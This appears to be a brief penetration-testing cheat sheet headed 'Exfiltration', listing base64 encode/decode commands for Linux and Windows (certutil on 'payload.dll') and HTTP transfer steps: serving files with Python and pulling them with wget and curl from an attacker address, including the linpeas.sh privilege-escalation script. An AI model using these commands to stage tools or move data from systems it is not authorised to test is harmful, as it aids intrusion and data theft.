Exfiltration

Base64 (copy & paste)

Linux:

base64 -w0 <file> #Encode file
base64 -d <file> #Decode file

Windows:

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

# Where the file is
python -m SimpleHTTPServer 80 # Python2
python3 -m http.server 80 # Python3
# Where you want the file
wget 10.10.14.27/file.sh
curl 10.10.14.27/linpeas.sh --output test.sh